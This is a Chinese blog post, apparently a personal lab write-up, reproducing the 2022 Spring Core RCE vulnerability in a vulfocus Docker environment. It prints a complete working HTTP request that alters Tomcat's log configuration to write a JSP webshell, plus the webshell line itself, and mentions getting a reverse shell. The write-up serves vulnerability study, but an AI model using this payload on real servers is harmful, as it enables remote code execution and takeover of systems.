Spring Core RCE 复现

0x01环境搭建

这几天一直闹的很火的Spring Core RCE漏洞,来复现记录一下

JDK9及其以上版本;
使⽤了Springbeans包;
使⽤了Spring参数绑定;
Spring参数绑定使⽤的是⾮基本参数类型,例如般的POJO即可

 

Spring框架中的核心组件只有三个:Core、Context和Beans。它们构建起了整个Spring的骨骼架构

顺带一提Spring核心组件的一些关系,Bean来包装Object,而 Context是Bean关系的集合,这个集合叫做Ioc(Inversion of Control)容器。

Core组件是发现、建立和维护每 个Bean之间的关系所需要的一些列的工具。

 

通过docker搭建环境,pull image镜像下来

这里是vulfocus靶场下的镜像

docker pull vulfocus/spring-core-rce-2022-03-29 

然后用docker run来启动

 

 

 

跑起来后访问

 

 

0x02漏洞利用

 

抓包后修改为POST请求,发送paylaod

 

 根据修改日志配置,来写日志 上传恶意jsp文件

 

 

为什么会把suffix 和prefix两个参数写在前面定义?

payload:

POST / HTTP/1.1
Host: 192.168.255.128:5468
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
DNT: 1
suffix: %>
prefix: <%Runtime
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 496

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22pass%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/root&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

 

 

因为如果直接利用pattern来写一个完整的木马命令执行

<%Runtime.getRuntime().exec(request.getParameter("pass"));%>

 

会发现写进去的是

 

 

具体原因也不是很清楚,tomcat写日志的东西

所以前面定义pattenprefix和suffix来拼接完整的jsp语句

%{prefix}i.getRuntime().exec(request.getParameter("pass"));%{suffix}i

 

下面的directory为目录,应当是能解析jsp的web目录,我这里试着用WEB-INF目录,但是似乎好像不能解析

发现webapps/下的目录可以解析jsp文件,所以写该目录下写入一个root目录来写文件

 

可以把下面的步骤想成一步步去执行的

后面再次使用了suffixprefix定义,很明显是定义为shell.jsp文件

 

发送payload后

 

 

执行一个curl命令

 

 

成功RCE

 

也可以反弹shell了

 

 

 

0x03总结

此次复现踩了很多坑,环境搭建原先想用idea,结果没配出来环境,太菜了。这样就没法跟调用链子了

后面就用的docker来搭建,需要知道对应web目录的位置才能去写文件,不然解析不了。

复现的时候写过一个文件了,去访问该文件,会有相同的代码再写进去,因为是靠写日志来写入的。

如果想重新写一个文件 我发现会无法再次写入,因为是复现可以重启docker就能再次写了。

 

出现这种情况的原因是因为修改了tomcat写日志的特殊配置,原本是置空的,然后被修改了(只能修改一次)

所以想重新写另外一个文件就不行了,重启后配置会被重新置空。

 

后续有了idea环境再来看看

 

posted @ 2022-03-31 16:42  Erichas  阅读(981)  评论(0编辑  收藏  举报